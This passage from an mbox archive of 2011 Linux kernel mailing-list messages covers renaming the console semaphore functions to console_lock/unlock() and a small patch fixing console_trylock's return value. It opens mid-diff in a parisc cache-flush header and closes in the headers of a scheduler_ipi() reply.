+	flush_kernel_dcache_range_asm(start, start + size);
 }
 
 #define flush_cache_vmap(start, end)		flush_cache_all()
@@ -98,13 +115,6 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 		flush_user_dcache_page(vmaddr);
 }
 
-#define ARCH_HAS_FLUSH_KERNEL_DCACHE_PAGE
-void flush_kernel_dcache_page_addr(void *addr);
-static inline void flush_kernel_dcache_page(struct page *page)
-{
-	flush_kernel_dcache_page_addr(page_address(page));
-}

From - Thu Nov 08 21:06:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.kernel.virtualization,gmane.comp.emulators.xen.devel,gmane.linux.ports.parisc,gmane.linux.ports.geode,gmane.linux.ports.arm.omap,gmane.linux.ports.arm.kernel,gmane.comp.video.dri.devel,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] change acquire/release_console_sem() to
	console_lock/unlock()
Date: Thu, 20 Jan 2011 12:35:07 -0800
Lines: 37
Approved: news@gmane.org
Message-ID: <20110120123507.ac89c034.akpm@linux-foundation.org>
References: <1295539104-13210-1-git-send-email-torbenh@gmx.de>
	<20110120163448.GA30588@suse.de> <20110120165502.GA10832@siel.b>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295555785 7956 80.91.229.12 (20 Jan 2011 20:36:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 20 Jan 2011 20:36:25 +0000 (UTC)
Cc: xen-devel@lists.xensource.com, Kees Cook <kees.cook@canonical.com>,
        linux-fbdev@vger.kernel.org,
        Mark Brown <broonie@opensource.wolfsonmicro.com>,
        Sascha Hauer <s.hauer@pengutronix.de>,
        James Hogan <james@albanarts.com>, David Airlie <airlied@linux.ie>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Jesse Barnes <jbarnes@virtuousgeek.org>,
        James Morris <jmorris@namei.org>,
        Grant Likely <grant.likely@secretlab.ca>,
        Paul Mackerras <paulus@samba.org>, linux-parisc@vger.kernel.org,
        Magnus Damm <damm@opensource.se>, Jiri Slaby <jslaby@suse.cz>,
        Dan Williams <dan.j.williams@intel.com>, devel@driverdev.osuosl.org,
        Guy Martin <gmsoft@tuxicoman.be>,
        Kuninori Morimoto <kuninori.morimoto.gx@renesas.com>,
        Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>,
        Russell King <l
To: torbenh <torbenh@gmx.de>
Original-X-From: virtualization-bounces@lists.linux-foundation.org Thu Jan 20 21:36:04 2011
Return-path: <virtualization-bounces@lists.linux-foundation.org>
Envelope-to: glkv-virtualization@gmane.org
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <virtualization-bounces@lists.linux-foundation.org>)
	id 1Pg1Eg-0007pZ-6j
	for glkv-virtualization@gmane.org; Thu, 20 Jan 2011 21:36:02 +0100
Original-Received: from daredevil.linux-foundation.org (localhost [127.0.0.1])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p0KKZKIa012040;
	Thu, 20 Jan 2011 12:35:21 -0800
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org
	[140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with
	ESMTP id p0KKZIYx012031
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 20 Jan 2011 12:35:18 -0800
Original-Received: from akpm.mtv.corp.google.com (localhost [127.0.0.1])
	by imap1.linux-foundation.org
	(8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id
	p0KKZ7dL000905; Thu, 20 Jan 2011 12:35:07 -0800
In-Reply-To: <20110120165502.GA10832@siel.b>
X-Mailer: Sylpheed 3.0.2 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
X-Spam-Status: No, hits=-104.985 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.21
X-BeenThere: virtualization@lists.linux-foundation.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: Linux virtualization <virtualization.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linux-foundation.org/mailman/listinfo/virtualization>,
	<mailto:virtualization-request@lists.linux-foundation.org?subject=unsubscribe>
List-Archive: <http://lists.linux-foundation.org/pipermail/virtualization>
List-Post: <mailto:virtualization@lists.linux-foundation.org>
List-Help: <mailto:virtualization-request@lists.linux-foundation.org?subject=help>
List-Subscribe: <https://lists.linux-foundation.org/mailman/listinfo/virtualization>,
	<mailto:virtualization-request@lists.linux-foundation.org?subject=subscribe>
Original-Sender: virtualization-bounces@lists.linux-foundation.org
Errors-To: virtualization-bounces@lists.linux-foundation.org
Received-SPF: pass (localhost is always allowed.)
Xref: news.gmane.org gmane.linux.kernel.virtualization:11245 gmane.comp.emulators.xen.devel:97419 gmane.linux.ports.parisc:3403 gmane.linux.ports.geode:273 gmane.linux.ports.arm.omap:50576 gmane.linux.ports.arm.kernel:103442 gmane.comp.video.dri.devel:53615 gmane.linux.kernel:1089887 gmane.linux.ports.ppc64.devel:72172
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.virtualization/11245>

On Thu, 20 Jan 2011 17:55:02 +0100
torbenh <torbenh@gmx.de> wrote:

> On Thu, Jan 20, 2011 at 08:34:48AM -0800, Greg KH wrote:
> > On Thu, Jan 20, 2011 at 04:58:13PM +0100, Torben Hohn wrote:
> > > the -rt patches change the console_semaphore to console_mutex.
> > > so a quite large chunk of the patches changes all
> > > acquire/release_console_sem() to acquire/release_console_mutex()
> > 
> > Why not just change the functionality of the existing function to be a
> > mutex in the rt patches, instead of having to rename it everywhere?
> 
> i hope that Thomas already did this in his upcoming -rt series.
> 
> > 
> > > this commit makes things use more neutral function names
> > > which dont make implications about the underlying lock.
> > > 
> > > the only real change is the return value of console_trylock
> > > which is inverted from try_acquire_console_sem()
> > > 
> > > Signed-off-by: Torben Hohn <torbenh@gmx.de>
> > > CC: Thomas Gleixner <tglx@tglx.de>
> > 
> > I don't mind this rename, but is it really going to help anything out?
> > What's the odds of the -rt portion of this patch ever making it to
> > mainline?
> 
> the -rt portion only changes the semaphore to a mutex.
> since the console_sem is used with mutex semantics, i dont see any
> reason, not to merge that portion too. 
> 
> i am just trying to shrink the -rt patch to make it more maintanable :)
> 

Yeah, I think it's a better name and if we can indeed switch that
semaphore to a mutex then that's a good thing to do.

From - Thu Nov 08 21:06:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.kernel.virtualization,gmane.linux.ports.arm.omap,gmane.comp.emulators.xen.devel,gmane.linux.ports.ppc64.devel,gmane.linux.kernel,gmane.linux.ports.geode,gmane.comp.video.dri.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] change acquire/release_console_sem() to
	console_lock/unlock()
Date: Fri, 21 Jan 2011 00:23:23 -0800
Lines: 52
Approved: news@gmane.org
Message-ID: <20110121002323.e9cbf9ae.akpm@linux-foundation.org>
References: <1295539104-13210-1-git-send-email-torbenh@gmx.de>
	<20110120163448.GA30588@suse.de> <20110120165502.GA10832@siel.b>
	<20110120123507.ac89c034.akpm@linux-foundation.org>
	<AANLkTinN2+pNGk1hwrcMhH5qDNZK=Egrw7P6c-cdJTmH@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295598269 23665 80.91.229.12 (21 Jan 2011 08:24:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 21 Jan 2011 08:24:29 +0000 (UTC)
Cc: linux-fbdev@vger.kernel.org, Greg KH <gregkh@suse.de>,
        Lars-Peter Clausen <lars@metafoo.de>,
        James Hogan <james@albanarts.com>, David Airlie <airlied@linux.ie>,
        Daniel Vetter <daniel.vetter@ffwll.ch>, linux-omap@vger.kernel.org,
        Jesse Barnes <jbarnes@virtuousgeek.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        "David S. Miller" <davem@davemloft.net>,
        Paul Mackerras <paulus@samba.org>, Liam Girdwood <lrg@slimlogic.co.uk>,
        Kyle McMartin <kyle@mcmartin.ca>, Jiri Slaby <jslaby@suse.cz>,
        Thomas Gleixner <tglx@linutronix.de>,
        Caglar Akyuz <caglar@bilkon-kontrol.com.tr>,
        devel@driverdev.osuosl.org,
        Alberto Panizzo <maramaopercheseimorto@gmail.com>,
        Phil Edworthy <phil.edworthy@renesas.com>,
        xen-devel@lists.xensource.com, Russell King <linux@arm.linux.org.uk>,
        Kuninor
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: virtualization-bounces@lists.linux-foundation.org Fri Jan 21 09:24:07 2011
Return-path: <virtualization-bounces@lists.linux-foundation.org>
Envelope-to: glkv-virtualization@gmane.org
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <virtualization-bounces@lists.linux-foundation.org>)
	id 1PgCHu-0002VT-PX
	for glkv-virtualization@gmane.org; Fri, 21 Jan 2011 09:24:07 +0100
Original-Received: from daredevil.linux-foundation.org (localhost [127.0.0.1])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p0L8NVEI029884;
	Fri, 21 Jan 2011 00:23:33 -0800
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org
	[140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with
	ESMTP id p0L8NTlR029871
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 21 Jan 2011 00:23:29 -0800
Original-Received: from localhost (localhost [127.0.0.1]) by imap1.linux-foundation.org
	(8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id
	p0L8NNJq030858; Fri, 21 Jan 2011 00:23:23 -0800
In-Reply-To: <AANLkTinN2+pNGk1hwrcMhH5qDNZK=Egrw7P6c-cdJTmH@mail.gmail.com>
X-Mailer: Sylpheed 2.7.1 (GTK+ 2.18.9; x86_64-redhat-linux-gnu)
X-Spam-Status: No, hits=-104.985 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.21
X-BeenThere: virtualization@lists.linux-foundation.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: Linux virtualization <virtualization.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linux-foundation.org/mailman/listinfo/virtualization>,
	<mailto:virtualization-request@lists.linux-foundation.org?subject=unsubscribe>
List-Archive: <http://lists.linux-foundation.org/pipermail/virtualization>
List-Post: <mailto:virtualization@lists.linux-foundation.org>
List-Help: <mailto:virtualization-request@lists.linux-foundation.org?subject=help>
List-Subscribe: <https://lists.linux-foundation.org/mailman/listinfo/virtualization>,
	<mailto:virtualization-request@lists.linux-foundation.org?subject=subscribe>
Original-Sender: virtualization-bounces@lists.linux-foundation.org
Errors-To: virtualization-bounces@lists.linux-foundation.org
Received-SPF: pass (localhost is always allowed.)
Xref: news.gmane.org gmane.linux.kernel.virtualization:11248 gmane.linux.ports.arm.omap:50601 gmane.comp.emulators.xen.devel:97433 gmane.linux.ports.ppc64.devel:72188 gmane.linux.kernel:1090130 gmane.linux.ports.geode:274 gmane.comp.video.dri.devel:53636 gmane.linux.ports.arm.kernel:103484 gmane.linux.ports.parisc:3404
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.virtualization/11248>

On Fri, 21 Jan 2011 09:10:06 +0100 Geert Uytterhoeven <geert@linux-m68k.org> wrote:

> include/linux/mutex.h:
> 
> /*
>  * NOTE: mutex_trylock() follows the spin_trylock() convention,
>  *       not the down_trylock() convention!
>  *
>  * Returns 1 if the mutex has been acquired successfully, and 0 on contention.
>  */
> extern int mutex_trylock(struct mutex *lock);
> 
> So that's why the return value was inverted (when treating it as a boolean).
> I can understand that.
> 
> However:
> 
> +/**
> + * console_trylock - try to lock the console system for exclusive use.
> + *
> + * Tried to acquire a lock which guarantees that the caller has
> + * exclusive access to the console system and the console_drivers list.
> + *
> + * returns -1 on success, and 0 on failure to acquire the lock.
> + */
> +int console_trylock(void)
> 
> So this one returns -1 on success, not 1? Why?

Yup.  All callers just test for non-zero, so...

--- a/kernel/printk.c~change-acquire-release_console_sem-to-console_lock-unlock-fix-2
+++ a/kernel/printk.c
@@ -1058,7 +1058,7 @@ EXPORT_SYMBOL(console_lock);
  * Tried to acquire a lock which guarantees that the caller has
  * exclusive access to the console system and the console_drivers list.
  *
- * returns -1 on success, and 0 on failure to acquire the lock.
+ * returns 1 on success, and 0 on failure to acquire the lock.
  */
 int console_trylock(void)
 {
@@ -1070,7 +1070,7 @@ int console_trylock(void)
 	}
 	console_locked = 1;
 	console_may_schedule = 0;
-	return -1;
+	return 1;
 }
 EXPORT_SYMBOL(console_trylock);
 
_

From - Thu Nov 08 21:06:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.arm.omap,gmane.comp.emulators.xen.devel,gmane.linux.kernel,gmane.linux.ports.geode,gmane.comp.video.dri.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] change acquire/release_console_sem() to
	console_lock/unlock()
Date: Fri, 21 Jan 2011 09:10:06 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <AANLkTinN2+pNGk1hwrcMhH5qDNZK=Egrw7P6c-cdJTmH@mail.gmail.com>
References: <1295539104-13210-1-git-send-email-torbenh@gmx.de>
	<20110120163448.GA30588@suse.de> <20110120165502.GA10832@siel.b>
	<20110120123507.ac89c034.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: dough.gmane.org 1295598697 25459 80.91.229.12 (21 Jan 2011 08:31:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 21 Jan 2011 08:31:37 +0000 (UTC)
Cc: linux-fbdev@vger.kernel.org, Greg KH <gregkh@suse.de>,
	Lars-Peter Clausen <lars@metafoo.de>, James Hogan <james@albanarts.com>,
	David Airlie <airlied@linux.ie>, Daniel Vetter <daniel.vetter@ffwll.ch>,
	linux-omap@vger.kernel.org, Jesse Barnes <jbarnes@virtuousgeek.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	"David S. Miller" <davem@davemloft.net>, Paul Mackerras <paulus@samba.org>,
	Liam Girdwood <lrg@slimlogic.co.uk>,
	Kyle McMartin <kyle@mcmartin.ca>, Jiri Slaby <jslaby@suse.cz>,
	Thomas Gleixner <tglx@linutronix.de>,
	Caglar Akyuz <caglar@bilkon-kontrol.com.tr>, devel@driverdev.osuosl.org,
	Alberto Panizzo <maramaopercheseimorto@gmail.com>,
	Phil Edworthy <phil.edworthy@renesas.com>, xen-devel@lists.xensource.com,
	Russell King <linux@arm.linux.org.uk>,
	Kuninori Morimoto <kuninori.morimoto.gx@renesas.com>,
	Wu Zhangjin <wuzhangjin@gmail.com>,
	Florian Tobias Schandi
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri Jan 21 09:31:13 2011
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1PgCOj-0005on-Oq
	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 21 Jan 2011 09:31:10 +0100
Original-Received: from bilbo.ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 8056EB736D
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 21 Jan 2011 19:30:56 +1100 (EST)
Original-Received: from mail-fx0-f51.google.com (mail-fx0-f51.google.com
	[209.85.161.51]) (using TLSv1 with cipher RC4-MD5 (128/128 bits))
	(Client CN "smtp.gmail.com",
	Issuer "Google Internet Authority" (verified OK))
	by ozlabs.org (Postfix) with ESMTPS id 4652AB7114;
	Fri, 21 Jan 2011 19:10:11 +1100 (EST)
Original-Received: by fxm5 with SMTP id 5so1482673fxm.38
	for <multiple recipients>; Fri, 21 Jan 2011 00:10:07 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma;
	h=domainkey-signature:mime-version:sender:in-reply-to:references:date
	:x-google-sender-auth:message-id:subject:from:to:cc:content-type
	:content-transfer-encoding;
	bh=GJkgTaGsKirW3n0hVnqrhH1LhExXXIptCW05OAHdG9w=;
	b=pC9xwwolGV8XVXS/04x8a7c07Jq+fuKTMtLtCBbgVj4zEB9eKHPFw1G1B5TYbUEDb5
	N/zljBCm2+D3vYhoqSw1ekg5ta8qGfH15iuBnDUF8hoejh+6hGLmsauqeab/S7kgxzmL
	eCcJUewjNtRiEdeuGeCFnrovIuYVQGHjlD7Nk=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma;
	h=mime-version:sender:in-reply-to:references:date
	:x-google-sender-auth:message-id:subject:from:to:cc:content-type
	:content-transfer-encoding;
	b=CVehsm/Vb+2x/sAOPXslziqUdtBASJTAtSZpNccRBaULOUF8sEVxPRFFAg9Lk8CGa3
	oJDVvKvMkfaF/c2ngmzd7jVUEFavpP6KhjjgpFry6uPukdWC4KLcP4C6p+8LIK1pVZF7
	qn0PfWNjB6Yc1ZpX9O5S1LIOOVyHvs2Mq0Zho=
Original-Received: by 10.223.86.135 with SMTP id s7mr346923fal.70.1295597406629; Fri,
	21 Jan 2011 00:10:06 -0800 (PST)
Original-Received: by 10.223.75.194 with HTTP; Fri, 21 Jan 2011 00:10:06 -0800 (PST)
In-Reply-To: <20110120123507.ac89c034.akpm@linux-foundation.org>
X-Google-Sender-Auth: RATNd6Fxi9wYjbH4NEihhZjROUg
X-Mailman-Approved-At: Fri, 21 Jan 2011 19:30:47 +1100
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.13
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:40725 gmane.linux.ports.arm.omap:50602 gmane.comp.emulators.xen.devel:97434 gmane.linux.kernel:1090132 gmane.linux.ports.geode:275 gmane.comp.video.dri.devel:53637 gmane.linux.ports.arm.kernel:103485 gmane.linux.ports.parisc:3405
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/40725>

T24gVGh1LCBKYW4gMjAsIDIwMTEgYXQgMjE6MzUsIEFuZHJldyBNb3J0b24gPGFrcG1AbGludXgt
Zm91bmRhdGlvbi5vcmc+IHdyb3RlOgo+IE9uIFRodSwgMjAgSmFuIDIwMTEgMTc6NTU6MDIgKzAx
MDAKPiB0b3JiZW5oIDx0b3JiZW5oQGdteC5kZT4gd3JvdGU6Cj4KPj4gT24gVGh1LCBKYW4gMjAs
IDIwMTEgYXQgMDg6MzQ6NDhBTSAtMDgwMCwgR3JlZyBLSCB3cm90ZToKPj4gPiBPbiBUaHUsIEph
biAyMCwgMjAxMSBhdCAwNDo1ODoxM1BNICswMTAwLCBUb3JiZW4gSG9obiB3cm90ZToKPj4gPiA+
IHRoZSAtcnQgcGF0Y2hlcyBjaGFuZ2UgdGhlIGNvbnNvbGVfc2VtYXBob3JlIHRvIGNvbnNvbGVf
bXV0ZXguCj4+ID4gPiBzbyBhIHF1aXRlIGxhcmdlIGNodW5rIG9mIHRoZSBwYXRjaGVzIGNoYW5n
ZXMgYWxsCj4+ID4gPiBhY3F1aXJlL3JlbGVhc2VfY29uc29sZV9zZW0oKSB0byBhY3F1aXJlL3Jl
bGVhc2VfY29uc29sZV9tdXRleCgpCj4+ID4KPj4gPiBXaHkgbm90IGp1c3QgY2hhbmdlIHRoZSBm
dW5jdGlvbmFsaXR5IG9mIHRoZSBleGlzdGluZyBmdW5jdGlvbiB0byBiZSBhCj4+ID4gbXV0ZXgg
aW4gdGhlIHJ0IHBhdGNoZXMsIGluc3RlYWQgb2YgaGF2aW5nIHRvIHJlbmFtZSBpdCBldmVyeXdo
ZXJlPwo+Pgo+PiBpIGhvcGUgdGhhdCBUaG9tYXMgYWxyZWFkeSBkaWQgdGhpcyBpbiBoaXMgdXBj
b21pbmcgLXJ0IHNlcmllcy4KPj4KPj4gPgo+PiA+ID4gdGhpcyBjb21taXQgbWFrZXMgdGhpbmdz
IHVzZSBtb3JlIG5ldXRyYWwgZnVuY3Rpb24gbmFtZXMKPj4gPiA+IHdoaWNoIGRvbnQgbWFrZSBp
bXBsaWNhdGlvbnMgYWJvdXQgdGhlIHVuZGVybHlpbmcgbG9jay4KPj4gPiA+Cj4+ID4gPiB0aGUg
b25seSByZWFsIGNoYW5nZSBpcyB0aGUgcmV0dXJuIHZhbHVlIG9mIGNvbnNvbGVfdHJ5bG9jawo+
PiA+ID4gd2hpY2ggaXMgaW52ZXJ0ZWQgZnJvbSB0cnlfYWNxdWlyZV9jb25zb2xlX3NlbSgpCj4+
ID4gPgo+PiA+ID4gU2lnbmVkLW9mZi1ieTogVG9yYmVuIEhvaG4gPHRvcmJlbmhAZ214LmRlPgo+
PiA+ID4gQ0M6IFRob21hcyBHbGVpeG5lciA8dGdseEB0Z2x4LmRlPgo+PiA+Cj4+ID4gSSBkb24n
dCBtaW5kIHRoaXMgcmVuYW1lLCBidXQgaXMgaXQgcmVhbGx5IGdvaW5nIHRvIGhlbHAgYW55dGhp
bmcgb3V0Pwo+PiA+IFdoYXQncyB0aGUgb2RkcyBvZiB0aGUgLXJ0IHBvcnRpb24gb2YgdGhpcyBw
YXRjaCBldmVyIG1ha2luZyBpdCB0bwo+PiA+IG1haW5saW5lPwo+Pgo+PiB0aGUgLXJ0IHBvcnRp
b24gb25seSBjaGFuZ2VzIHRoZSBzZW1hcGhvcmUgdG8gYSBtdXRleC4KPj4gc2luY2UgdGhlIGNv
bnNvbGVfc2VtIGlzIHVzZWQgd2l0aCBtdXRleCBzZW1hbnRpY3MsIGkgZG9udCBzZWUgYW55Cj4+
IHJlYXNvbiwgbm90IHRvIG1lcmdlIHRoYXQgcG9ydGlvbiB0b28uCj4+Cj4+IGkgYW0ganVzdCB0
cnlpbmcgdG8gc2hyaW5rIHRoZSAtcnQgcGF0Y2ggdG8gbWFrZSBpdCBtb3JlIG1haW50YW5hYmxl
IDopCj4+Cj4KPiBZZWFoLCBJIHRoaW5rIGl0J3MgYSBiZXR0ZXIgbmFtZSBhbmQgaWYgd2UgY2Fu
IGluZGVlZCBzd2l0Y2ggdGhhdAo+IHNlbWFwaG9yZSB0byBhIG11dGV4IHRoZW4gdGhhdCdzIGEg
Z29vZCB0aGluZyB0byBkby4KCmluY2x1ZGUvbGludXgvbXV0ZXguaDoKCi8qCiAqIE5PVEU6IG11
dGV4X3RyeWxvY2soKSBmb2xsb3dzIHRoZSBzcGluX3RyeWxvY2soKSBjb252ZW50aW9uLAogKiAg
ICAgICBub3QgdGhlIGRvd25fdHJ5bG9jaygpIGNvbnZlbnRpb24hCiAqCiAqIFJldHVybnMgMSBp
ZiB0aGUgbXV0ZXggaGFzIGJlZW4gYWNxdWlyZWQgc3VjY2Vzc2Z1bGx5LCBhbmQgMCBvbiBjb250
ZW50aW9uLgogKi8KZXh0ZXJuIGludCBtdXRleF90cnlsb2NrKHN0cnVjdCBtdXRleCAqbG9jayk7
CgpTbyB0aGF0J3Mgd2h5IHRoZSByZXR1cm4gdmFsdWUgd2FzIGludmVydGVkICh3aGVuIHRyZWF0
aW5nIGl0IGFzIGEgYm9vbGVhbikuCkkgY2FuIHVuZGVyc3RhbmQgdGhhdC4KCkhvd2V2ZXI6Cgor
LyoqCisgKiBjb25zb2xlX3RyeWxvY2sgLSB0cnkgdG8gbG9jayB0aGUgY29uc29sZSBzeXN0ZW0g
Zm9yIGV4Y2x1c2l2ZSB1c2UuCisgKgorICogVHJpZWQgdG8gYWNxdWlyZSBhIGxvY2sgd2hpY2gg
Z3VhcmFudGVlcyB0aGF0IHRoZSBjYWxsZXIgaGFzCisgKiBleGNsdXNpdmUgYWNjZXNzIHRvIHRo
ZSBjb25zb2xlIHN5c3RlbSBhbmQgdGhlIGNvbnNvbGVfZHJpdmVycyBsaXN0LgorICoKKyAqIHJl
dHVybnMgLTEgb24gc3VjY2VzcywgYW5kIDAgb24gZmFpbHVyZSB0byBhY3F1aXJlIHRoZSBsb2Nr
LgorICovCitpbnQgY29uc29sZV90cnlsb2NrKHZvaWQpCgpTbyB0aGlzIG9uZSByZXR1cm5zIC0x
IG9uIHN1Y2Nlc3MsIG5vdCAxPyBXaHk/CgpHcntvZXRqZSxlZXRpbmd9cywKCsKgIMKgIMKgIMKg
IMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIEdlZXJ0CgotLQpHZWVydCBVeXR0ZXJob2V2ZW4gLS0g
VGhlcmUncyBsb3RzIG9mIExpbnV4IGJleW9uZCBpYTMyIC0tIGdlZXJ0QGxpbnV4LW02OGsub3Jn
CgpJbiBwZXJzb25hbCBjb252ZXJzYXRpb25zIHdpdGggdGVjaG5pY2FsIHBlb3BsZSwgSSBjYWxs
IG15c2VsZiBhIGhhY2tlci4gQnV0CndoZW4gSSdtIHRhbGtpbmcgdG8gam91cm5hbGlzdHMgSSBq
dXN0IHNheSAicHJvZ3JhbW1lciIgb3Igc29tZXRoaW5nIGxpa2UgdGhhdC4KwqAgwqAgwqAgwqAg
wqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqDCoCDCoMKgIC0tIExpbnVzIFRvcnZhbGRzCl9f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCkxpbnV4cHBjLWRl
diBtYWlsaW5nIGxpc3QKTGludXhwcGMtZGV2QGxpc3RzLm96bGFicy5vcmcKaHR0cHM6Ly9saXN0
cy5vemxhYnMub3JnL2xpc3RpbmZvL2xpbnV4cHBjLWRldg==


From - Thu Nov 08 21:06:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.virtualization,gmane.linux.uml.devel,gmane.comp.emulators.xen.devel,gmane.linux.uml.user,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] sched: provide scheduler_ipi()
 callback in response to smp_send_reschedule()
Date: Tue, 25 Jan 2011 00:03:26 +0100
Lines: 81
Approved: news@gmane.org
Message-ID: <20110124230326.GA9121@linux-mips.org>
References: <1295262433.30950.53.camel@laptop>
	<20110117112637.GA18599@n2100.arm.linux.org.uk>
	<1295263884.30950.54.camel@laptop>
	<1295264509.30950.59.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295910318 24077 80.91.229.12 (24 Jan 2011 23:05:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
